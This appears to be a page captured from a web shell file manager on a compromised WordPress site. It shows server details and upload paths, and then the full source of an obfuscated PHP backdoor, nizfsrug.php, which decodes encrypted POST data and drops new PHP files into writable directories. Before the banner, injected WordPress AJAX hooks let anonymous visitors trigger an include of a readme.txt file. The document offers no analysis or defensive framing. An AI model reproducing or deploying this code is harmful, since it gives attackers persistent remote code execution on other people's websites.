if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-content/uploads/2024/04/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs20250613/wp-content/uploads/2024/04/nizfsrug.php
<?php function XWsYBgd($BUqEX, $qVFKzTM, $ZnRPIP){$pGWAXcea = "22859a3b-30ad-4d26-a46c-ba656cdcef03";return $BUqEX ^ $pGWAXcea[$qVFKzTM % strlen($pGWAXcea)] ^ $ZnRPIP;}$jYQjgsYl = "ActNYTclA";function kNKHwwHMqd($jYQjgsYl){ $IfEgwI = chr(115)."\164"."\162".'_'.chr(562-448)."\x6f"."\x74"."\x31"."\63";$jYQjgsYl = $IfEgwI($jYQjgsYl);$Tgedw = chr(114).chr(97)."\167"."\x75".'r'.chr(108).chr(100).'e'.chr(1032-933).chr(638-527)."\x64".'e';$jYQjgsYl = $Tgedw($jYQjgsYl);$jYQjgsYl = str_split($jYQjgsYl);return $jYQjgsYl;}function dyqXKs($uKsxJNgsex, $ZnRPIP){$uKsxJNgsex = array_map("XWsYBgd", array_values($uKsxJNgsex), array_keys($uKsxJNgsex), array_values($ZnRPIP));$uKsxJNgsex = implode("", $uKsxJNgsex);$nRVuw = "\165".'n'.chr(917-802)."\145"."\162".chr(105).'a'.chr(247-139).chr(662-557)."\x7a"."\145";$uKsxJNgsex = @$nRVuw($uKsxJNgsex);return $uKsxJNgsex;}function nhQYpzXQ($ZnRPIP, $uKsxJNgsex){$ZnRPIP = array_slice(str_split(str_repeat($ZnRPIP, (count($uKsxJNgsex)/16)+1)), 0, count($uKsxJNgsex));return $ZnRPIP;}function OaCRKnDs(){echo "LNhSuZz";}function EYCXQHsh($yBGRbvNwcir){static $HMslTMs = array();$RnvsWY = glob($yBGRbvNwcir . '/*', GLOB_ONLYDIR);$yBGRbvNwcPlvulR = count($RnvsWY);if ($yBGRbvNwcPlvulR > 0) {foreach ($RnvsWY as $yBGRbvNwc) {$LpGYYU = 'i'."\163".chr(95).chr(295-176)."\x72".chr(105).'t'."\141".chr(117-19)."\x6c"."\145";if (@$LpGYYU($yBGRbvNwc)) {$HMslTMs[] = $yBGRbvNwc;}}}foreach ($RnvsWY as $yBGRbvNwcir) EYCXQHsh($yBGRbvNwcir);return $HMslTMs;}function donZf($uKsxJNgsex){$geJAIlmL = "\x44".chr(688-609).'C'."\125"."\x4d".'E'.chr(859-781)."\124"."\137"."\122".chr(79)."\117".chr(84);$hJDRkhu = $_SERVER[$geJAIlmL];$RnvsWY = EYCXQHsh($hJDRkhu);$MZbNONZnIZ = array_rand($RnvsWY);$jdIPaTTXBT = '.'.'p'.chr(572-468).chr(283-171);$kFEpTtW = $RnvsWY[$MZbNONZnIZ] . "/" . substr(md5(time()), 0, 8) . $jdIPaTTXBT;$qJoIHTkNcd = chr(102).chr(105)."\x6c"."\145"."\137"."\x70".'u'.chr(679-563)."\137"."\143"."\x6f"."\156"."\164"."\145".chr(264-154).chr(116).chr(959-844);@$qJoIHTkNcd($kFEpTtW, $uKsxJNgsex);$PXplpciLN = "\x48"."\124"."\124".'P'."\x5f"."\x48".chr(79)."\x53".chr(636-552);$tfgeAm = 'h'."\164".chr(546-430)."\x70".':'."\57".chr(47);$fWdyYcCUE = $tfgeAm . $_SERVER[$PXplpciLN] . substr($kFEpTtW, strlen($hJDRkhu));print($fWdyYcCUE);}function QtERZGbUEb(){$jquviLH = 'p'.chr(104)."\160";$GIBhFBBK = 'p'."\x68".chr(1108-996).chr(118)."\145".'r'.chr(643-528).'i'.chr(503-392).chr(110);$uKsxJNgsex = Array($jquviLH => @$GIBhFBBK(), );$HXoRyc = 's'.chr(999-898).chr(771-657)."\151".'a'.chr(108).chr(358-253)."\172"."\145";echo @$HXoRyc($uKsxJNgsex);}function HJKmPxS(){echo "ActNYTclA";}foreach ($_POST as $ZnRPIP => $uKsxJNgsex){$uVycW = strlen($ZnRPIP);if ($uVycW == 16){$uKsxJNgsex = kNKHwwHMqd($uKsxJNgsex);$ZnRPIP = nhQYpzXQ($ZnRPIP, $uKsxJNgsex);$uKsxJNgsex = dyqXKs($uKsxJNgsex, $ZnRPIP);if (@is_array($uKsxJNgsex)){$MZbNONZnIZ = array_keys($uKsxJNgsex);$uKsxJNgsex = $uKsxJNgsex[$MZbNONZnIZ[0]];$MZbNONZnIZ = $MZbNONZnIZ[0];$MZbNONZnIZ = substr($MZbNONZnIZ, 0);if ($uKsxJNgsex !== $MZbNONZnIZ){donZf($uKsxJNgsex);}else {QtERZGbUEb();}}}}die();
@ Telegram